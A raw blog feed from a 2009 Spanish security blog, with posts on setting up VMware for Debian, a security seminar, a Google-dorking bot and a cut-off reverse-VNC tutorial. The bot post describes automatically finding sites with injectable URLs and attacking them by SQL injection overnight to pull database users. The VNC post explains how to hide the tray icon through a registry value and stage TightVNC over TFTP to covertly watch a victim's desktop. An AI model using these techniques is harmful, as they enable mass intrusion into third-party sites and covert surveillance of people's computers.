src="http://4.bp.blogspot.com/_DI2yEVgm8Qk/SuCetfio9-I/AAAAAAAAABo/zKcK6sMLsV4/s320/vm2.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5395486857987946466" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;3) Aqui debemos seleccionar el configuracion apropiada. Marcamos &lt;span style="font-weight:bold;"&gt;Custom&lt;/span&gt;, para dar una configuracion mas avanzada.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DI2yEVgm8Qk/SuCffz3tCWI/AAAAAAAAABw/Mpq1TnfZ278/s1600-h/vm3.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 285px;" src="http://3.bp.blogspot.com/_DI2yEVgm8Qk/SuCffz3tCWI/AAAAAAAAABw/Mpq1TnfZ278/s320/vm3.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5395487722438461794" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;4)En esta pantalla nos preguntara que tipo de formato queremos, yo coloque el formato nuevo, osea la opcion &lt;span style="font-weight:bold;"&gt; New - Workstation 5.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DI2yEVgm8Qk/SuCgaU1xyqI/AAAAAAAAAB4/7GbI6DZFNbc/s1600-h/vm4.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 285px;" src="http://1.bp.blogspot.com/_DI2yEVgm8Qk/SuCgaU1xyqI/AAAAAAAAAB4/7GbI6DZFNbc/s320/vm4.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5395488727721167522" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;5)Ahora en mi caso estoy por intalar un Debian 5.0 con arquitectura i386. Dejo marcado el tipo de SO &lt;span style="font-weight:bold;"&gt;Linux&lt;/span&gt; y la version &lt;span style="font-weight:bold;"&gt;Other Linux 2.6.x kernel&lt;/span&gt;. Ya que este kernel es de esa familia.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DI2yEVgm8Qk/SuChGWHl-TI/AAAAAAAAACA/kmxOAx33ugs/s1600-h/vm5.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 285px;" src="http://1.bp.blogspot.com/_DI2yEVgm8Qk/SuChGWHl-TI/AAAAAAAAACA/kmxOAx33ugs/s320/vm5.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5395489483978570034" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;6) Pondremos el nombre para nuestra maquina virtual, pongan uno que este relacionado con el SO que esten por intalar (es solo un consejo). En este ejemplo coloque &lt;span style="font-weight:bold;"&gt;Mi Debian&lt;/span&gt; &lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DI2yEVgm8Qk/SuChjDcyOdI/AAAAAAAAACI/SgEib0aOBWc/s1600-h/vm6.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 285px;" src="http://1.bp.blogspot.com/_DI2yEVgm8Qk/SuChjDcyOdI/AAAAAAAAACI/SgEib0aOBWc/s320/vm6.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5395489977183386066" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;7)Ahora configuraremos el tamaño de la memoria RAM que le asiganaremos a la VM. Yo tengo 2 gb por lo tanto le di un 556 de ram (je seria mas cuadrado colocar 512?). Tambien tenemos una tablita donde nos dice lo recomendado y una cota maxima de asignacion que le podremos dar.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_DI2yEVgm8Qk/SuCipAN1HzI/AAAAAAAAACQ/Dop9dt_7fFc/s1600-h/vm7.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 285px;" src="http://4.bp.blogspot.com/_DI2yEVgm8Qk/SuCipAN1HzI/AAAAAAAAACQ/Dop9dt_7fFc/s320/vm7.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5395491178906197810" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;8) Configuracion del tipo de red. Colocaremos en modo NAT. para que al momento de intalar DEBIAN el programaa de intalacion tome a la red por DHCP sin problemas.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_DI2yEVgm8Qk/SuCjSAGvkzI/AAAAAAAAACY/Zt8s1RWsU4I/s1600-h/vm8.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 285px;" src="http://2.bp.blogspot.com/_DI2yEVgm8Qk/SuCjSAGvkzI/AAAAAAAAACY/Zt8s1RWsU4I/s320/vm8.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5395491883251110706" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;9) En esto dejamos como esta y damos en &lt;span style="font-weight:bold;"&gt;Sigueinte&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DI2yEVgm8Qk/SuCjjnBM2JI/AAAAAAAAACg/9yDUgEwwAm0/s1600-h/vm9.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 285px;" src="http://1.bp.blogspot.com/_DI2yEVgm8Qk/SuCjjnBM2JI/AAAAAAAAACg/9yDUgEwwAm0/s320/vm9.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5395492185754622098" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;10) En esta pantalla marcaremos la primera opcion &lt;span style="font-weight:bold;"&gt;"Create a new  virtual disk"&lt;/span&gt;. Tenemos las opciones para usar uno disco virtual existente o uno fisico. :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt; &lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_DI2yEVgm8Qk/SuCkGVKarzI/AAAAAAAAACo/g3dwlShRtCw/s1600-h/vm10.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 285px;" src="http://2.bp.blogspot.com/_DI2yEVgm8Qk/SuCkGVKarzI/AAAAAAAAACo/g3dwlShRtCw/s320/vm10.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5395492782256860978" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;11) El tipo de disco. Marcamos &lt;span style="font-weight:bold;"&gt;IDE&lt;/span&gt;, ya que cuando intente con SCSI el intalador no encontraba ningun controlador para ese tipo. En fin con IDE me anduvo. :)&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://2.bp.blogspot.com/_DI2yEVgm8Qk/SuCkcK43uQI/AAAAAAAAACw/MSp8r0Fn7p8/s1600-h/vm11.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 285px;" src="http://2.bp.blogspot.com/_DI2yEVgm8Qk/SuCkcK43uQI/AAAAAAAAACw/MSp8r0Fn7p8/s320/vm11.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5395493157456034050" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;12)El tamaño del disco en GB.&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DI2yEVgm8Qk/SuClCRtjOkI/AAAAAAAAAC4/nNa9rRtzU78/s1600-h/vm12.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 285px;" src="http://3.bp.blogspot.com/_DI2yEVgm8Qk/SuClCRtjOkI/AAAAAAAAAC4/nNa9rRtzU78/s320/vm12.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5395493812122630722" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;13) El nombre del disco virtual. Yo le puse &lt;span style="font-weight:bold;"&gt;Mi_Debian.vmdk&lt;/span&gt;. Y listo ya tenemos..&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DI2yEVgm8Qk/SuClb-_57BI/AAAAAAAAADA/HlKnCb7rpL0/s1600-h/vm13.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 285px;" src="http://3.bp.blogspot.com/_DI2yEVgm8Qk/SuClb-_57BI/AAAAAAAAADA/HlKnCb7rpL0/s320/vm13.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5395494253775940626" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;14) Ahora en la pantalla que sigue, estamos posicionado en el menu de nuestra VM que acabamos de crear. Una opcion que coloco es colocarle el nombre de mi disquetera de CD-ROM, ya que automaticamente no me funcionaba. Hago doble clic en &lt;span style="font-weight:bold;"&gt;CD-ROM&lt;/span&gt;, y luego cambio la opcion que esta en &lt;span style="font-weight:bold;"&gt;Auto Detect&lt;/span&gt;, por el nombre, que en mi caso es el &lt;span style="font-weight:bold;"&gt;E:&lt;/span&gt;. &lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://1.bp.blogspot.com/_DI2yEVgm8Qk/SuCmNZZh3cI/AAAAAAAAADI/cXzo_f9Uorg/s1600-h/vm14.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 181px;" src="http://1.bp.blogspot.com/_DI2yEVgm8Qk/SuCmNZZh3cI/AAAAAAAAADI/cXzo_f9Uorg/s320/vm14.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5395495102676327874" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ahora solo falta hacer clic en el signo de Play de color verde e iniciara nuestra maquina virtual, tendremos que colocar el CD cd Debian esperar que bootee, y empezar a instalar. La intalacion es como en cualqueir maquina, eso ya es independiente de que si es una VM o una computadora fisica.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Saludos&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-8652412546220562652?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/8652412546220562652/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2009/10/configurando-vmware-workstation-para.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/8652412546220562652'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/8652412546220562652'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2009/10/configurando-vmware-workstation-para.html' title='Configurando VMware  Workstation para Debian'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://2.bp.blogspot.com/_DI2yEVgm8Qk/SuCeGuAV3kI/AAAAAAAAABg/rEDWh3tyWF0/s72-c/vm1.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-3436095983557040152</id><published>2009-10-18T20:13:00.000-07:00</published><updated>2009-10-28T22:04:45.748-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Bot'/><category scheme='http://www.blogger.com/atom/ns#' term='Programacion'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='SQLi'/><category scheme='http://www.blogger.com/atom/ns#' term='perl'/><category scheme='http://www.blogger.com/atom/ns#' term='Tool'/><title type='text'>Bot MySQL Search Google 2.0</title><content type='html'>Aunque ya lo había terminado hace un tiempito voy a publicarlo recién por falta de tiempo. Hay algunas mejoras que coloque una de ellas es el filtrado de paginas que son posiblmente inyectables. Es decir que por ejemplo en una busqueda del tipo &lt;span style="font-weight:bold;"&gt;inurl:*.php?id=&lt;/span&gt;, con una cantidad de 10 paginas (o mas o menos es solo un ejemplo), seguramente en la misma búsqueda se van a repetir las mismas paginas por lo cual el BOT en la V. 1.0 no contemplaba esto y redundaba. &lt;br /&gt;Otra característica muy importante es que ahora ya no necesita tanta coparticipación humana, solamente le pasamos los parámetros nesesarios, y empezara la automatizacion que contempla la búsqueda, la obtención de las posibles victimas, y el ataque por SQLi, (osea que podemos dejarlo en la noche y ver los resultados en el otro día) :). En este ataque intentara lo mismo que la versión anterior&lt;br /&gt;&lt;br /&gt;1. Sacar columnas mediante la clausula UNION&lt;br /&gt;2. Verificar disponibilidad de Information_schema&lt;br /&gt;3. Verificar disponibilidad de Mysq.Users&lt;br /&gt;4. Verificar si el usuario de la base de datos es r00t. :)&lt;br /&gt;&lt;br /&gt;Después por ultimo todo lo recolectado lo guardara en un archivo que nosotros le diremos el nombre para que lo guarde en el misma ru&lt;blockquote&gt;&lt;/blockquote&gt;ta de donde es ejecutado el script, asi lov eremos despues con mayor tranquilidad.&lt;br /&gt;&lt;br /&gt;Ejmplo de uso.&lt;br /&gt;&lt;span style="font-weight:bold;"&gt;&lt;span style="font-style:italic;"&gt;&lt;br /&gt;                +++++++++++++++++++++++++++++++++++++&lt;br /&gt;                +     Bot MySQL Search Google 2.0   +&lt;br /&gt;                +         By MagnoBalt              +&lt;br /&gt;                +++++++++++++++++++++++++++++++++++++&lt;br /&gt;&lt;br /&gt;[?]Ingrese Patron de Busqueda (ej: inurl:.php?id_noticia=: &gt;&gt; inrul:noticias.php?id= site:com.ar&lt;br /&gt;[?]Total de paginas de busquedas en Google: &gt;&gt; 15&lt;br /&gt;[?]Nombre de archivo donde guardar todo: &gt;&gt;paginas_argentinas.txt&lt;br /&gt;&lt;br /&gt;[+]Search:&lt;br /&gt;&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;Fijense los parametros que le paso. En primer lugar esta la busqueda &lt;span style="font-weight:bold;"&gt;inrul:noticias.php?id= site:com.ar&lt;br /&gt;&lt;/span&gt;, en segundo lugar esta la cantidad &lt;span style="font-weight:bold;"&gt;15&lt;/span&gt;, y como tercer y ultimo esta el archivo de salida donde se almacenara todo &lt;span style="font-weight:bold;"&gt;paginas_argentinas.txt&lt;/span&gt;. &lt;br /&gt;&lt;br /&gt;Despues solo resta ver el archivo donde mostrata una lista con las que no pudo y las que pudo inyectar SQL, en donde en esta ultimas mostrara el detalle.&lt;br /&gt;&lt;br /&gt;Aca esta el codigo &lt;a href="http://paste2.org/p/474677"&gt;s0urce&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;Tengo pensado seguir agregandole mas funciones y mas tipos de inyecciones. Ya tengo preparado para que la busqueda sea atravez del BING. Asi que esa seria una mejoria para la proxima. Si alguien tiene alguna idea o algun arreglo o parte de codigo con mucho gusto sera recibido.. &lt;br /&gt;&lt;br /&gt;Saludos..&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-3436095983557040152?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/3436095983557040152/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2009/10/bot-mysql-search-google-20_18.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/3436095983557040152'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/3436095983557040152'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2009/10/bot-mysql-search-google-20_18.html' title='Bot MySQL Search Google 2.0'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-2925727527965940221</id><published>2009-10-08T10:03:00.001-07:00</published><updated>2009-10-08T15:25:12.646-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Noticia'/><category scheme='http://www.blogger.com/atom/ns#' term='Eventos'/><title type='text'>Seminario Seguridad Goya Corrientes</title><content type='html'>&lt;a href="http://3.bp.blogspot.com/_DI2yEVgm8Qk/Ss5mZo-MVoI/AAAAAAAAAA0/2fV1zgNK254/s1600-h/DSC02020.JPG"&gt;&lt;img style="display:block; margin:0px auto 10px; text-align:center;cursor:pointer; cursor:hand;width: 320px; height: 240px;" src="http://3.bp.blogspot.com/_DI2yEVgm8Qk/Ss5mZo-MVoI/AAAAAAAAAA0/2fV1zgNK254/s320/DSC02020.JPG" border="0" alt=""id="BLOGGER_PHOTO_ID_5390358394690098818" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://4.bp.blogspot.com/_DI2yEVgm8Qk/Ss4jm5UAiAI/AAAAAAAAAAs/47vpXE66EBc/s1600-h/seguridad+informatica+goya+015.jpg"&gt;&lt;img style="margin: 0px auto 10px; display: block; text-align: center; cursor: pointer; width: 240px; height: 320px;" src="http://4.bp.blogspot.com/_DI2yEVgm8Qk/Ss4jm5UAiAI/AAAAAAAAAAs/47vpXE66EBc/s320/seguridad+informatica+goya+015.jpg" alt="" id="BLOGGER_PHOTO_ID_5390284955135805442" border="0" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Lugar del evento: Intituto San Martin&lt;br /&gt;Organizacion: Intitudo San Martin e&lt;a href="http://www.instelseguridad.com.ar/"&gt; Instel &amp;amp; Seguridad&lt;/a&gt;&lt;br /&gt;Bueno este fin de semana que paso, mas presisamente el Sabado 3 de Octubre, fuimos a Goya( mi ciudad natal), con Pedro Matias Cacivio y Sebastian del Prado a realizar la primera charla sobre Seguridad Informatica que se realiza en ese municipio.&lt;br /&gt;Los temas que se tocaron fueron los mismo dados en el ultimo &lt;a href="http://www.securityhackingnea.com.ar/"&gt;Security Hacking NEA 4&lt;/a&gt;. Primero abrio Pedro con su tema "A seguro se lo llevaron Preso", donde mostros las vulnerabilidades WEB principales que nos encontramos en internet como es XSS, LFI, RFI, y un poco de SQLi atravez de un MSSQL. En LFI mostros como a partir de un INCLUDE mal filtrado podemos llegar a llamar archivos del servidor y empezar a escalar privilegios, hasta ingresar al host. Muy Bueno!. Al termino de Pedro se hizo un break donde se ofrecio cafe y bizcochitos.&lt;br /&gt;&lt;br /&gt;Despues Segui yo con el tema de SQLi basandonos en un motor de MySQL, donde mostre algunas diferencias con ataques a PostGre y MSSQL. Sobre MySQL mostre atacar mediante la clausula UNION luego llamar a las vista Information_schema, para sacar datos desde ahi y obtener los apreciados usuarios:contraseñas. Se vio tambiende como poder leer archivos mediante LOAD_FILE y como subir un archivo mediante INTO OUTFILE, imaginen el peligro de que el usuario en la WEB tenga permiso de FILE y podamos inyectar, o que es lo mas estupido, cuando nos encontramos con permiso de r00t (que Gran error!!!!!!!!!).&lt;br /&gt;&lt;br /&gt;Despues de  esto ya se hizo las 1 y monedas y fuimos a comer a un restaurante a la vuelta de donde se realizo el Seminario (Juventud Unida)&lt;br /&gt;al regresar como 3:30 se largo la charla de Forense de Sebastian del Prado, donde se mostro como se actua ante un acto ilicito, como recolectar toda la informacion de ecenario, Pen, Discos, informacion volatil etc. Tambien se vio un poco del tema de celulares, maquinas fotograficas etc. Muy completo e intereante.&lt;br /&gt;&lt;br /&gt;A lo ultimo se encargaron de terminar el semminario con la charla de Hacking Wifi por Sebastian y Pedro nuevamente. Donde se sortearon dos remeras del evento del SSHNEA4 apartir del numeros de las entradas y una a la mejor respuesta de como haria ud para segurizar si red WIFI?.&lt;br /&gt;En fin mas que nada agradecer a los profesores Juan Jose Lezcano (mi tio), Prof. Morales y la Rectora Lila de &lt;em&gt;Giuliani &lt;/em&gt;por la buena onda y prganizacion. Esperamos ir nuevamente hacia alla y hacer algunos talleres que quedaron pendientes con el publico participante y mas que nada que es bueno ir de donde se vino :)..&lt;br /&gt;&lt;br /&gt;Saludos a todos&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8537339479493905438-2925727527965940221?l=magnobalt.blogspot.com' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://magnobalt.blogspot.com/feeds/2925727527965940221/comments/default' title='Enviar comentarios'/><link rel='replies' type='text/html' href='http://magnobalt.blogspot.com/2009/10/seminario-seguridad-goya-corrientes.html#comment-form' title='0 comentarios'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/2925727527965940221'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8537339479493905438/posts/default/2925727527965940221'/><link rel='alternate' type='text/html' href='http://magnobalt.blogspot.com/2009/10/seminario-seguridad-goya-corrientes.html' title='Seminario Seguridad Goya Corrientes'/><author><name>MagnoBalt</name><uri>http://www.blogger.com/profile/14864169075483637737</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='24' src='http://2.bp.blogspot.com/_DI2yEVgm8Qk/S2x6_D9fiLI/AAAAAAAAAGo/4SQEGruJ1MY/S220/imagen+690.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://3.bp.blogspot.com/_DI2yEVgm8Qk/Ss5mZo-MVoI/AAAAAAAAAA0/2fV1zgNK254/s72-c/DSC02020.JPG' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8537339479493905438.post-284514515565824578</id><published>2009-09-27T15:53:00.000-07:00</published><updated>2009-09-28T10:07:20.338-07:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='Redes'/><category scheme='http://www.blogger.com/atom/ns#' term='VNC'/><category scheme='http://www.blogger.com/atom/ns#' term='Hacking'/><category scheme='http://www.blogger.com/atom/ns#' term='Reverse'/><title type='text'>Reverse VNC</title><content type='html'>Bueno hace un rato estube jugando con el VNC, probando conexiones inversas. Esto puede ser muy util cuando por ejemplo no podemos abrir algun puerto en algun router ordinario, o por ejemplo cuando estemos atras de un router con alguna victima y quiseramos ver el escritorio de la misma. Entonces podemos hacer una conexion inversa hacia nosotros.&lt;br /&gt;Bueno si se leyeron este post &lt;a href="http://magnobalt.blogspot.com/2009/09/reverse-shell-netcat-with-batch.html"&gt;http://magnobalt.blogspot.com/2009/09/reverse-shell-netcat-with-batch.html&lt;/a&gt; donde explico que es una conexion inversa y que ademas este script es por ejemplo el que pude usar para tener acceso a una maquina victima o probar en localhost (que es lo que se debe hacer :) ) para agarrar practica y despues tirarse a volar.&lt;br /&gt;Entonces veamos, imaginemos que tenemos acceso a una pc con windows mediante el script que hice en el post del enlace mas arriba. Nosotros ahora queremos ver mas, osea queremos ver que esta haciendo, con quien chatea, osea ver su Escritorio :) . Bueno entonces, que nesesitamos.&lt;br /&gt;&lt;ul&gt;&lt;li&gt;Servidor TFTP &lt;a href="http://tftpd32.jounin.net/download/tftpd32m.zip"&gt;descargar aqui&lt;/a&gt;&lt;/li&gt;&lt;li&gt;TightVNC &lt;a href="http://downloads.sourceforge.net/vnc-tight/tightvnc-1.3.10-setup.exe"&gt;descargar aqui&lt;/a&gt;&lt;/li&gt;&lt;/ul&gt;&lt;span style="FONT-STYLE: italic; COLOR: rgb(0,0,153); FONT-WEIGHT: bold"&gt;&lt;br /&gt;Configurando VNC&lt;/span&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DI2yEVgm8Qk/Sr_7YTPAinI/AAAAAAAAAAM/PVTevHRUleE/s1600-h/imagen1.JPG"&gt;&lt;img style="MARGIN: 0pt 0pt 10px 10px; WIDTH: 320px; FLOAT: right; HEIGHT: 240px; CURSOR: pointer" id="BLOGGER_PHOTO_ID_5386300074257058418" border="0" alt="" src="http://3.bp.blogspot.com/_DI2yEVgm8Qk/Sr_7YTPAinI/AAAAAAAAAAM/PVTevHRUleE/s320/imagen1.JPG" /&gt;&lt;/a&gt;&lt;br /&gt;D&lt;span style="COLOR: rgb(0,0,0)"&gt;&lt;/span&gt;escarguen el VNC intalenlo en su maquina, y ejecutenlo.&lt;br /&gt;Vamos a configurarlo primero coloquenle un password a el VNC en esa imagen muestra donde se coloca.&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Ahora vamos a colocar que el icono no se muestre en la barra de tarea, para eso hacemos esto. Vamos al regitro de Windows y nos dirigimos a&lt;span class="Estilo4"&gt;&lt;br /&gt;&lt;span style="FONT-WEIGHT: bold"&gt;&lt;br /&gt;HKEY_LOCAL_MACHINE\SOFTWARE\ORL\WinVNC3&lt;/span&gt;,&lt;/span&gt;&lt;br /&gt;&lt;span class="Estilo4"&gt;agregaremos un nuevo valor Dword, con el nombre de &lt;span style="FONT-WEIGHT: bold"&gt;DisableTrayIcon&lt;/span&gt;, y l&lt;/span&gt;&lt;span class="Estilo4"&gt;e d&lt;/span&gt;&lt;span class="Estilo4"&gt;aremos un valor de 1, como queda en esta im&lt;/span&gt;&lt;span class="Estilo4"&gt;agen.&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;a onblur="try {parent.deselectBloggerImageGracefully();} catch(e) {}" href="http://3.bp.blogspot.com/_DI2yEVgm8Qk/Sr_8JS_UFeI/AAAAAAAAAAU/et1iGjOJIPw/s1600-h/imagen3.JPG"&gt;&lt;img style="MARGIN: 0pt 0pt 10px 10px; WIDTH: 320px; FLOAT: right; HEIGHT: 166px; CURSOR: pointer" id="BLOGGER_PHOTO_ID_5386300916004820450" border="0" alt="" src="http://3.bp.blogspot.com/_DI2yEVgm8Qk/Sr_8JS_UFeI/AAAAAAAAAAU/et1iGjOJIPw/s320/imagen3.JPG" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Lo que sigue es exportar la configuracion de nuestro VNC a un archivo .reg para que cuando le intalemos en la victima no tire ningun Warning de que falta setear algun password, y que el icono no se muestre etc.&lt;br /&gt;entonces nos vamos a estas direeciones para exportar&lt;br /&gt;&lt;span class="Estilo4"&gt;&lt;span style="FONT-WEIGHT: bold"&gt;HKEY_CURRENT_USER\Software\ORL\WinVNC3&lt;/span&gt;, Clic derecho luego en Exportar, y guardaremos con el nombre de&lt;span class="Estilo5"&gt; regvnc1&lt;/span&gt;, ahora expotaremos el siguiente conjunto el cual es &lt;span style="FONT-WEIGHT: bold"&gt;HKEY_LOCAL_MACHINE\SOFTWARE\ORL&lt;/span&gt;, y guardaremos con el nombre de &lt;span class="Estilo9"&gt;regvnc2.&lt;/span&gt;&lt;/span&gt;&lt;br /&gt;Pasamos al otro paso :)&lt;br /&gt;&lt;span style="COLOR: rgb(0,0,153); FONT-WEIGHT: bold"&gt;&lt;span style="COLOR: rgb(0,0,0)"&gt;&lt;/span&gt;&lt;br /&gt;&lt;br /&gt;&lt;br /&gt;Configurando carpeta de Bajadas&lt;/span&gt; &lt;span style="COLOR: rgb(0,0,153); FONT-WEIGHT: bold"&gt;de TFTP&lt;/span&gt;&lt;br /&gt;Una vez descargado el TFTP creen una carpeta por ejemplo en el C:\Bajadas y copienlo ahi, lo mismo hagan con el ejecutable del TightVNC, y los archivos .reg que habiamos creado anteriormente (regvnc1.reg y regvnc2.reg)&lt;br /&gt;Ejecuten el Servidor TFTP, una vez 